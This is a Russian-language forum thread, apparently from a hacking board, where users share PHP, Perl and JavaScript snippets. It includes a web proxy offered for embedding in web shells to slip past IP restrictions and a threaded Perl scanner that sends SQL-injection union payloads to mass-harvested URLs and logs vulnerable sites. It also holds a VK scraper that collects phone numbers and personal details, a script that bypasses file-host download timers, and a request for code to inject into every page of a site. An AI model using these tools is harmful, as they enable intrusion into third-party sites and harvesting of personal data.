PHP PROXY Не большой класс PHP Proxy, можно встраивать в шелы (для доступа к разделам сайта где ограничение по IP) PHP: <?php class WebProxy { var $url = ''; var $page = ''; var $content = ''; var $config; var $brouser = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.6.0'; function WebProxy($cookie = 1, $ref = 1, $arch = 0, $img = 0) { $this->config = array('cookie'=>$cookie, 'ref'=>$ref, 'archive'=>$arch, 'img'=>$img); session_start(); } function GetPage($url) { $this->url = urldecode($url); $l_url = ''; if($this->config['ref'] == 1) { if(!isset($_GET['img']) && isset($_SESSION['url'])) $l_url = $_SESSION['url']; $_SESSION['url'] = $this->url; } $cookie = ''; if(isset($_SESSION['cookie']) && $this->config['cookie'] == 1) $cookie = $this->implode_x('; ', $_SESSION['cookie']); $curl = curl_init(); curl_setopt($curl, CURLOPT_USERAGENT, $this->brouser); curl_setopt($curl, CURLOPT_URL, $this->url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); if(strlen(ini_get('open_basedir')) == 0) // If safe_mode Off curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 10); if($this->config['ref'] == 1) curl_setopt($curl, CURLOPT_REFERER, 'http://'.$l_url); if($this->config['cookie'] == 1) { curl_setopt($curl, CURLOPT_COOKIESESSION , 1); curl_setopt($curl, CURLOPT_COOKIE, $cookie); } if(sizeof($_POST) > 0) { curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, implode_x('&', $_POST)); } $this->page = curl_exec($curl); } function ParseHeader() { if($this->config['cookie'] == 1) { $mass = array(); preg_match_all('~Set-Cookie: ([^\r\n;]*)[\r\n;]~i', $this->page, $mass); foreach($mass[1] as $val) { $cook = explode('=', $val); $name = trim($cook[0]); $value = trim($cook[1]); $_SESSION['cookie'][$name] = $value; } } $one = 1; $result = explode("\r\n\r\n", $this->page); for($i=0; $i < sizeof($result); $i++) if(substr($result[$i], 0, 4) == 'HTTP') { if($one) { $r = array(); preg_match('/(content-type: [^\r\n]+)/i', $result[$i], $r); if(isset($r[1])) $this->content = $r[1]; $t = array(); preg_match('/[\r\n]Location: (.+)[\r\n]/Uis', $result[$i], $t); if(isset($t[1])) { header('Location: '.$_SERVER['SCRIPT_NAME'].'?url='.$this->url_preg(trim($t[1]))); exit(); } $one = 0; } unset($result[$i]); } $this->page = implode("\r\n\r\n", $result); } function FilterURL() { if($this->config['img'] == 0) { $this->page = preg_replace_callback('/<([^>]+)(href|action|src)([^>"\']*)(["\'])([^"\']*)(\4)/Uis', array(&$this, 'url_preg'), $this->page); $this->page = preg_replace_callback('/url\(([^\)]+)\)/Uis', array(&$this, 'url_css_preg'), $this->page); } } function RemoveScript() { if($this->config['img'] == 0) { $this->page = preg_replace('/<script[^>]*>.+<\/script>/Uis', '', $this->page); $this->page = preg_replace('/(onload|onmouseover|onmouseout|onmousedown|onmouseup|onclick|onmousemove)[^=]*=([^"])*"[^"]*\2/Uis', '', $this->page); } } function DrawPage() { if($this->config['archive'] == 1 && $this->config['img'] == 0) { $this->page = preg_replace('/([\r\n\t]|(<![^>]*>)|[ ][ ])/Uis', '', $this->page); } if(strlen($this->content) > 1) header($this->content); echo $this->page; if($this->config['img'] == 0) $this->form($this->url); } function form($url='http://') { echo '<hr><div style="text-align:center;"><form action="'.$_SERVER['SCRIPT_NAME'].'" method="GET"><input size="100" id="url" name="url" value="'. $url.'"><input type="submit" value="GO"></form></div>'; } function implode_x($x, $a) { $str = ''; foreach($a as $key=>$value) { if(strlen($str)>1) $str .= $x; $str .= $key.'='.$value; } return $str; } function url_css_preg($m) { return 'url('.$_SERVER['SCRIPT_NAME'].'?url='.$this->url_preg($m[1]).')'; } function url_preg($m) { $istring = is_string($m); $str = $m; if(!$istring) $str = $m[5]; if(strcmp(substr($str, 0, 2), '//') == 0) $str = 'http:'.$str; if(strcmp(substr($str, 0, 9), 'javascipt') == 0 && !$istring) return $m[0]; if(substr($str, 0, 4) != 'http') { $u = explode('/', $this->url); $x = explode('/', $str); if(sizeof($x) == 0) $str = $u[0].'//'.$u[2].'/'; else if($x[0] == '') { unset($x[0]); $str = $u[0].'//'.$u[2].'/'.implode('/', $x); } else if($x[0] == '..') { $e = sizeof($u)-1; if($e > 2) { unset($u[$e]); $e--; unset($x[0]); } for($i = 1; $i < sizeof($x); $i++) if($x[$i] == '..' && $e > 2) { unset($u[$e]); $e--; unset($x[$i]); } else break; $str = implode('/', $u); if($str[strlen($str)-1] != '/') $str .= '/'; $str .= implode('/', $x); } else { if(strpos($u[sizeof($u)-1], '.') != 0) unset($u[sizeof($u)-1]); $str = implode('/', $u); if($str[strlen($str)-1] != '/') $str .= '/'; $str .= implode('/', $x); } } $str = urlencode($str); if($istring) return $str; if(strcmp($m[2], 'href') == 0 || strcmp($m[2], 'action') == 0) return '<'.$m[1].$m[2].$m[3].$m[4].$_SERVER['SCRIPT_NAME'].'?url='.$str.'"'; else return '<'.$m[1].$m[2].$m[3].$m[4].$_SERVER['SCRIPT_NAME'].'?url='.$str.'&img'.$m[6]; } } $proxy = new WebProxy(1, 1, 1, isset($_GET['img'])); $proxy->GetPage($_GET['url']); $proxy->ParseHeader(); $proxy->FilterURL(); $proxy->RemoveScript(); $proxy->DrawPage(); ?>
Вообщем кому надо, вот скрипт проверяющий все урлы в текстовике на sql - инъекцию. Если сайт уязвим, скрипт узнает количество колонок. Результат записывается в текстовик. Code: #!/usr/bin/perl -w ########################################## ##########Coded by Daniel_1024 ################# ########################################## use warnings; use threads; use threads::shared; use LWP::Simple; use LWP::UserAgent; use HTTP::Request; system(cls); print "Enter a file with targets:"; $file = <STDIN>; print "Enter output file:"; $vulnfile=<STDIN>; print "Enter number of threads:"; $tn=<STDIN>; open("FILE", $file) || die "Couldn't open file\n"; my @sites : shared =<FILE>; close("FILE"); chomp(@sites); my $num = 0; my @trl = undef; my $null = "09+and+1=" ; my $code = "0+union+select+" ; my $add = '+' ; my $com ='--'; print "Scan started\n"; for(0..$tn-1) {$trl[$_] = threads->create(\&test, $_);} for(@trl) { $_->join; } sub test { while(@sites){ { lock(@sites);} my $site = shift(@sites); my $i = 0; my $col = ''; my $specialword = ''; my $injection = $site.$null.$code."0",$com ; my $useragent = LWP::UserAgent->new(); $useragent->proxy("http", "http://$proxy/") if defined($proxy); my $response = $useragent->get($injection); my $result = $response->content; if( $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i || $result =~ m/SQL query failed/i || $result =~ m/mysql_fetch_/i || $result =~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i ) { for ($i = 0 ; $i < 35 ; $i ++) { $col.=','.$i; $specialword.=','."0x617a38387069783030713938"; if ($i == 0) { $specialword = '' ; $col = '' ; } $sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ; $ua = LWP::UserAgent->new(); $ua->proxy("http", "http://$proxy/") if defined($proxy); $rq = $ua->get($sql); $response = $rq->content; if($response =~ /az88pix00q98/) { $i ++; print "\n[!] The Website $site Is Vulnerable\n" ; print "[!] It Have $i Columns\n" ; $sql=$site.$null.$code."0".$col.$com ; print "=> ".$sql ."\n"; open(vuln_file,">>$vulnfile"); print vuln_file "$sql\n"; close(vuln_file); } } } else { print "[!] The WebSite $site Is Not SQL Vulnerable !\n"; } } print "Scan finished"; print "[+] Saved to $vulnfile"; sleep 5; } Это очень облегчает работу при проверке отпарсенных с поисковиков сайтов. скрипт многопоточный, за 10 часов проверяет около 70к ссылок....вообщем нехило....
Code: #!/usr/bin/perl -w use warnings; Забавно, зачем включение ключа? Code: use LWP::Simple; use LWP::UserAgent; use HTTP::Request; Зачем LWP::Simple и HTTP::Request? Code: print "Enter a file with targets:"; $file = <STDIN>; Наверно, корректно использование chomp chomp (my $file = <>) Code: open("FILE", $file) || die "Couldn't open file\n"; my @sites : shared =<FILE>; close("FILE"); chomp(@sites); Использование глобальных переменных не модно вроде как) open my $desc, '<', $file or die "$!\n"; chomp (my @sites :shared = <$desc>); close $desc; Code: my $null = "09+and+1=" ; my $add = '+' ; А в чём приоритеты исползования двойных кавычек в данном случае? И в верхних строках ты my не юзаешь , странно как-то Code: { lock(@sites);} my $site = shift(@sites); замок действует только внутри блока, ты весельчак) Code: $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i etc а в регекспах нет такого my $a = m,a|b|c,i ? Дальше не читал, там ещё хуже наверно Думаю, целесообразно скрипт переписать 10 потоков было ограничение в первом сп, хватит какие-то непонятные ограничения на всё ставить
Парсер страницы вконтакте PHP: <?php $id = '1'; $url = 'http://vkontakte.ru/id'.$id; $cookie = 'your cookie'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 50); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 50); $res_curl = curl_exec($ch); curl_close($ch); // Head preg_match('#<span id="activity_text">(.+?)<\/span>#i',$res_curl,$matches); $finish['status'] = $matches[1]; preg_match('#<div class="profileName">\s+<h2>(.+?)<\/h2>\s+<\/div>#i',$res_curl,$matches); $finish['full_name'] = $matches[1]; preg_match('#<div align="center">\s+<img src=(.+?) \/>\s+</div>#i',$res_curl,$matches); $finish['avatar'] = $matches[1]; // Left preg_match('#<div><h2>Друзья <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches); $finish['friends'] = $matches[1]; preg_match('#<div><h2>Фото <span>\(([0-9]+) .+\)<\/span><\/h2><\/div>#i',$res_curl,$matches); $finish['albums'] = $matches[1]; preg_match('#<div><h2>Видео <span id="videos_how_much">\(([0-9]+) .+\)<\/span><\/h2><\/div>#i',$res_curl,$matches); $finish['videos'] = $matches[1]; preg_match('#<a class="vTitle" href=".+?">(.+?)<\/a><br \/>#i',$res_curl,$matches); $finish['last_video'] = $matches[1]; preg_match('#<div><h2>Заметки <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches); $finish['notes'] = $matches[1]; preg_match('#<a href="\/note'.$id.'.+?">(.+?)<\/a>#i',$res_curl,$matches); $finish['last_note'] = $matches[1]; preg_match('#<div><h2>Приложения <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches); $finish['apps'] = $matches[1]; preg_match('#<a style="float: left" id=".+" href="/app.+">(.+?)</a>#i',$res_curl,$matches); $finish['last_app'] = $matches[1]; preg_match('#<div><h2>Вопросы <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches); $finish['questions'] = $matches[1]; preg_match('#<div><h2>Группы <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches); $finish['groups'] = $matches[1]; // Right preg_match('#<td class="label">Пол:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches); $finish['sex'] = strip_tags($matches[1]); preg_match('#<td class="label">Семейное положение:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches); $finish['family'] = strip_tags($matches[1]); preg_match('#<td class="label">День рождения:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches); $finish['birthday'] = strip_tags($matches[1]); preg_match('#<td class="label">Родной город:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches); $finish['home_city'] = strip_tags($matches[1]); preg_match('#<td class="label">Полит. взгляды:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches); $finish['polit'] = strip_tags($matches[1]); preg_match('#<td class="label">Религ. взгляды:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches); $finish['relig'] = strip_tags($matches[1]); preg_match('#<td class="label">Город:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches); $finish['city'] = strip_tags($matches[1]); preg_match('#<td class="label">Моб. телефон:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches); $finish['mob_t'] = strip_tags($matches[1]); preg_match('#<td class="label">Дом. телефон:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches); $finish['hom_t'] = strip_tags($matches[1]); preg_match('#<td class="label">ICQ:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches); $finish['icq'] = strip_tags($matches[1]); preg_match('#<td class="label">Веб-сайт:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches); $finish['www'] = strip_tags($matches[1]); preg_match('#<td class="label">Деятельность:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches); $finish['activity'] = strip_tags($matches[1]); preg_match('#<td class="label">Интересы:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches); $finish['interests'] = strip_tags($matches[1]); preg_match('#<td class="label">Любимая музыка:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches); $finish['music'] = strip_tags($matches[1]); preg_match('#<td class="label">Любимые фильмы:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches); $finish['movies'] = strip_tags($matches[1]); preg_match('#<td class="label">Любимые телешоу:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches); $finish['tv_shows'] = strip_tags($matches[1]); preg_match('#<td class="label">Любимые книги:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches); $finish['books'] = strip_tags($matches[1]); preg_match('#<td class="label">Любимые игры:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches); $finish['games'] = strip_tags($matches[1]); preg_match('#<td class="label">Любимые цитаты:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches); $finish['quotes'] = strip_tags($matches[1]); preg_match('#<td class="label">О себе:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches); $finish['about'] = strip_tags($matches[1]); preg_match('#<span>\((.+?) подар.+\)</span>#i',$res_curl,$matches); $finish['gifts'] = strip_tags($matches[1]); print_r($finish);
PHP: $file = file_get_contents('rus.txt'); $rus_s = array('щ','ж','ц', 'ч', 'ш', 'ю', 'я','а', 'б', 'в', 'г', 'д', 'е', 'ё', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ъ', 'ы', 'ь', 'э'); $eng_s = array('sch','zh','ts', 'ch','sh','yu', 'ya','a', 'b', 'v', 'g', 'd', 'e', 'e', 'z', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'r', 's', 't', 'u', 'f', 'h', '', 'y', '', 'e'); $file = str_replace($rus_s, $eng_s, $file); $file1 = fopen('translit.txt', 'w'); fwrite($file1, $file); fclose($file1); $file = file_get_contents('rus.txt'); $rus_s = array('щ','ж','ц', 'ч', 'ш', 'ю', 'я','а', 'б', 'в', 'г', 'д', 'е', 'ё', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ъ', 'ы', 'ь', 'э'); $qwer_s = array('o',';','w', 'x','i','.', 'z','f', 'd', 'd', 'u', 'l', 't', '`', 'p', 'b', 'q', 'r', 'k', 'v', 'y', 'j', 'g', 'h', 'c', 'n', 'e', 'a', '[', ']', 's', 'm', '\''); $file = str_replace($rus_s, $qwer_s, $file); $file1 = fopen('qwer.txt', 'w'); fwrite($file1, $file); fclose($file1);
Komyak там такая техника PHP: <?php $arr= $_POST['arr']; $olo=array("i" => "и", "b" => "б"); if(array_key_exists($arr, $olo)) { echo $olo["$arr"] ; } else { echo "не существует"; } ?>
PHP: <html> <form id="form1" name="form1" method="post" action=""> <p>mail</p> <p> <input name="mail" type="text" id="mail" /> </p> <p> Pass</p> <p> <input name="pass" type="text" id="pass" /> </p> <p>Путь до файла с куками </p> <p> <input name="cookie" type="text" id="cookie"> </p> <p> <input type="submit" name="Submit" value="Считать" /> </p> </form> </html> <?php $mail=$_POST['mail']; $pass=$_POST['pass']; $cookie=$_POST['cookie']; $date=date("d.m.y"); if(!empty($mail)){ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://vkontakte.ru/login.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS,'act=login&try_to_login=1&email='.$mail.'&pass='.$pass.''); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie); $result=curl_exec($ch); curl_setopt($ch, CURLOPT_URL, 'http://vkontakte.ru/profile.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 0); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); $result=curl_exec($ch); curl_close($ch); preg_match('/<div><h2>Друзья <span>\((.*)\)<\/span><\/h2><\/div>/', $result, $res); preg_match('/<a href="\/(.*)">главная<\/a>/', $result, $m); preg_match('/<div><h2>Друзья он-лайн <span>\((.*)\)<\/span><\/h2><\/div>/', $result, $online); $write=$date. " $m[1]". " Друзей $res[1]". " Друзей онлайн $online[1]"; $fp=fopen("friends.txt", "a"); fputs($fp, $write."\r\n"); fclose($fp); echo "Статус-готово"; }else{ echo "Статус-введи данные"; } ?> в общем,потребовалось проверить старые акки вк на кол-во друзей пишет дату,ид,кол-во всего,кол-во онлайн
Чистим хард Я практически полностью забил свой винт на 250Гб. В папку downloads и заходить страшно - архивы папки... обычно я скачав архив разархивирую его в туже директорию в папку = имени архива. Разгрести все это руками не реально, поэтому я накидал скриптик, который шарится по винту ищет архивы и папки с их именами и удаляет все нафиг. Освободил ~9 Гб!!! места теперь думаю проверять время создания и последнего доступа к файлам - и удалить нафиг древний хлам PHP: <?php // Сканирования каталогов на наличие дублирования имен архивных файлов и папок // под Win (легко передалть под *nix) by Gar|k // удаляет папки = имя архива @set_time_limit(0); @ini_set('max_execution_time',0); define(FILE_TYPES,'zip|rar|gz|bz2'); function garik_rmdir($dir) { $arr_dir=array(); $arr_file=array(); if (is_dir($dir)) { // если дира if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if($file=='.' || $file=='..') continue; if(is_dir($dir . $file)) $arr_dir[]=$dir.$file; else if(preg_match("/(.*?)\.(".FILE_TYPES.")$/i",$file,$matches)) $arr_file[]=$dir.$matches[1]; } closedir($dh); } } $res=array_intersect($arr_dir,$arr_file); foreach($res as $v) { echo $v."\n"; system('rmdir /s /q "'.$v.'"'); // windows } } // рекурсивная функция которая проходится по всем каталогам запуская там поиск function recurse($dir) { if(is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if($file=='.' || $file=='..') continue; if(is_dir($dir . $file)) { garik_rmdir($dir.$file.'\\'); recurse($dir.$file.'\\'); } } closedir($dh); } } } recurse("g:\\"); //понеслась ?> З.Ы: скрипт тупой ) но может кто-то разберет на его примере работу с рекурсивными функциями и директориями
Вот решил выложить скриптик,сохранять его нужно в формате js, предназначен для сбрасывания счетчика времени при скачивании с файлообменников depositfiles.com и letitbit.net. Работает через оперу Установка: Откройте Opera Меню / Инструменты / Настройки / Содержимое 1. Поставьте галочку возле JavaScript 2. Нажмите кнопку "Настроить JavaScript" Посмотрите, что прописано в "Папка пользовательских файлов JavaScript" Если там пустое поле, то укажите сюда путь к ней с помощью кнопки Обзор Code: // ==UserScript== // @include *depositfiles.com/* // @include *letitbit.net/* // ==/UserScript== var is_load; document.addEventListener( 'load', function (e) { is_load=document.body; if( !is_load ) { return; } DoHack(); }, false ); setInterval("DoHack()",500); // ************************************** function DoHack() { if( !is_load ) { return; } is_load=false; var host=window.location.hostname; if (host=='depositfiles.com') DepositHack(); if (host=='letitbit.net') LetitbitHack(); } // ******************************** function LetitbitHack() { var topIfr = document.getElementById('topFrame'); var mainIfr = document.getElementById('mainFrame'); if ((topIfr!=null) && (mainIfr!=null)) { document.location.href=topIfr.src; return; } var el1=document.getElementById('errt'); var el2=document.getElementById('links'); if (el1 && el2) { el1.style.display="none"; el2.style.display='block'; var mydiv = document.createElement('div'); mydiv.style.position = 'fixed'; mydiv.style.top = '100px'; mydiv.style.left = '0px'; mydiv.style.color = '#000000'; mydiv.style.width = '100%'; document.body.appendChild(mydiv); mydiv.innerHTML='<center><a href="http://www.hackzone.ru"><h2>Hacked by HACKZONE.RU</h2></a></center>'; } } // ******************************** function DepositHack() { var obj_timer = document.getElementById('download_waiter'); if (obj_timer) { obj_timer.destroy; obj_timer.innerHTML='<a href="http://www.hackzone.ru" style="font-color:red;font-size:14px;font-weight:bold;">Hacked by HACKZONE.RU</a>'; var obj_url = document.getElementById('download_url'); obj_url.style.display='block'; } }
Вот держи,старенький,но зато рабочий))) Code: <? /************************************************** ************** * * * * * This will perform a basic connectivity and anonymity test * * * * Simply upload to a php enabled webserver and change the * * configurable parameters below if you so desire * * * * 2005-11-11 v0.1 - Compatible with Charon v0.5.3.5 * ************************************************** **************/ ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><title>Online proxy tester</title></head> <body bgcolor="black" text="white"> <?php // Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config) error_reporting(0); // Limit the amount of proxies that can be tested at any one time $maximum_proxies_to_test = 5; // Enter a password (if required) to protect the page $password = ''; // Actual proxyjudge part of the page function return_env_variables() { echo '<pre>'."\n"; foreach ($_SERVER as $header => $value ) { if ((strpos($header , 'REMOTE')!== false || strpos($header , 'HTTP')!== false || strpos($header , 'REQUEST')!== false) && ( strpos($header , 'HTTP_HOST') !== 0)) { echo $header.' = '.$value."\n"; } } echo '</pre>'; } // Function to go away and get the page (calls through the proxy back to itself) function get_judge_page($proxy) { // Depending on the server environment, this timeout setting may not be available. $timeout = 15; $proxy_cont = ''; list($proxy_host, $proxy_port) = explode(":", $proxy); $proxy_fp = fsockopen($proxy_host, $proxy_port, $errornumber, $errorstring, $timeout); if ($proxy_fp) { stream_set_timeout($proxy_fp, $timeout); fputs($proxy_fp, "GET " . $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " . $_SERVER['SERVER_NAME'] . "\r\n\r\n"); while(!feof($proxy_fp)) { $proxy_cont .= fread($proxy_fp,4096); } fclose($proxy_fp); $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4); } return $proxy_cont; } // Check for the control string to see if it's a valid fetch of the judge function check_valid_judge_response($page) { if(strlen($page) < 5) return false; return strpos($page, 'REMOTE_ADDR') !== false; } // Check for the IP addresses function check_anonymity($page) { if(strpos($page, $_SERVER['LOCAL_ADDR']) !== false) return false; return true; } // Takes and tests a proxy // 0 - Bad proxy // 1 - Good (non anon) proxy // 2 - Good (anonymous) proxy function test_proxy($proxy) { $page = get_judge_page($proxy); if(!check_valid_judge_response($page)) return 0; if(!check_anonymity($page)) return 1; return 2; } ////////// Main Page //////////// // If this is a judge request, just return the environmental variables if(getenv('QUERY_STRING') == "test") { return_env_variables(); } // Else check whether we have been passed a list of proxies to test or not // Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x) elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') && (isset($HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') && ( (strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) )) { $proxies = explode("\n", str_replace("\r", "", $HTTP_POST_VARS['proxies']), $maximum_proxies_to_test + 1); // Set the overall time limit for the page execution to 10 mins set_time_limit(600); // Set up some arrays to hold the results $anon_proxies = array(); $nonanon_proxies = array(); $bad_proxies = array(); // Loop through and test the proxies for($thisproxy = 0; $thisproxy < ($maximum_proxies_to_test > count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1) { echo 'Testing ' . $proxies[$thisproxy] . ' .....'; flush(); switch(test_proxy($proxies[$thisproxy])) { case 2: echo '.. Anon<br>' . "\n"; $anon_proxies[count($anon_proxies)] = $proxies[$thisproxy]; break; case 1: echo '.. Non anon<br>' . "\n"; $nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy]; break; case 0: echo '.. Dead<br>' . "\n"; $bad_proxies[count($bad_proxies)] = $proxies[$thisproxy]; break; } } echo '<pre>'; echo '<br><b>Anonymous proxies</b>' . "\n"; for($thisproxy = 0; $thisproxy < count($anon_proxies); $thisproxy += 1) echo $anon_proxies[$thisproxy] . "\n"; echo '<br><b>Non-anonymous proxies</b>' . "\n"; for($thisproxy = 0; $thisproxy < count($nonanon_proxies); $thisproxy += 1) echo $nonanon_proxies[$thisproxy] . "\n"; echo '<br><b>Dead proxies</b>' . "\n"; for($thisproxy = 0; $thisproxy < count($bad_proxies); $thisproxy += 1) echo $bad_proxies[$thisproxy] . "\n"; echo '</pre>'; } // Just a blank call of the page - show the form for the user to fill in else { echo '<h2>Online Proxy checker</h2>' . "\n"; echo '<h4>(http://' . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . ')</h4>' . "\n"; echo 'Enter up to a maximum of ' . $maximum_proxies_to_test . ' prox' . ($maximum_proxies_to_test == 1 ? 'y' : 'ies') . ' to test' . "\n"; echo '<form method="POST" action="' . $_SERVER['SCRIPT_NAME'] . '">' . "\n"; echo '<input type="hidden" name="action" value="fred">' . "\n"; echo '<textarea name="proxies" cols=35 rows=' . $maximum_proxies_to_test . '></textarea><br>' . "\n"; if(strlen($password) > 0) echo 'Password: <input type="password" name="password" size="15"><br>' . "\n"; echo '<input type="submit" value="Check proxies">' . "\n"; echo '</form>' . "\n"; } ?> </body> </html>
не знаете есть в паблике скрипт записи своего кода во все страницы на своем сайте ?! кода права рут... желательно на пхп
Парсер с Википедии Короче делал грабер и парсер как расшырение поиска по википедии по текущей публикации для водпреса. Но оказалось блин что на хостинге отключен курл. А так локалхосте работает. Может кому-то пригодиться. Code: <html> <head> <title>Parser</title> </head> <META http-equiv="Content-Type" content="text/html; charset=utf-8"> <style type="text/css"> .urls a:link { FONT-SIZE:10pt; color: #008040; text-decoration:none; font-weight: bold; font-family: Verdana, Arial;} a:visited { FONT-SIZE:10pt; color: #008040; text-decoration:none; font-weight: bold; font-family: Verdana, Arial;} a:active { FONT-SIZE:10pt; color: #000000; text-decoration:none; font-weight: bold; font-family: Verdana, Arial;} a:hover { FONT-SIZE:10pt; color: #000000; text-decoration:none; font-weight: bold; font-family: Verdana, Arial; } .urls { position: absolute; top: 20%; width: 700px; } </style> <body> <?php // запрос $zapros = "Секс"; if ( isset($zapros) ) { // Урл $target = "http://uk.wikipedia.org/w/index.php"; // инициализация cURL $ch = curl_init($target); // получать заголовки curl_setopt ($ch, CURLOPT_HEADER, 1); // если проверяеться HTTP User-agent curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3'); // использовать метод POST curl_setopt ($ch, CURLOPT_POST, 1); // передаем даные curl_setopt ($ch, CURLOPT_POSTFIELDS, '?title=Спеціальна%3ASearch&search='.$zapros.'&fulltext=Пошук'); // вернуть результат curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); // делаем запрос curl_exec ($ch); // Берем результат $result = curl_multi_getcontent ($ch); // Парсимо с помощю регулярки // масив $var[0] будет помещать результаты полного совпадения с шаблоном preg_match_all("#(<a href=)(.*)(<span class='searchmatch'>)(.*)(</a>)#", $result, $var); // выводим результаты foreach ($var[0] as $value) { if ( !preg_match("#http://#", $value) ) { $value = preg_replace("#/wiki/#", "http://uk.wikipedia.org/wiki/", $value); } $urls[] = $value; } //Выводим результати echo '<div align="center" class="urls">'; for ($i=0; $i<15; $i++) { echo ''.$urls[$i].'     '; } echo '</div>'; } ?> </body> </html>
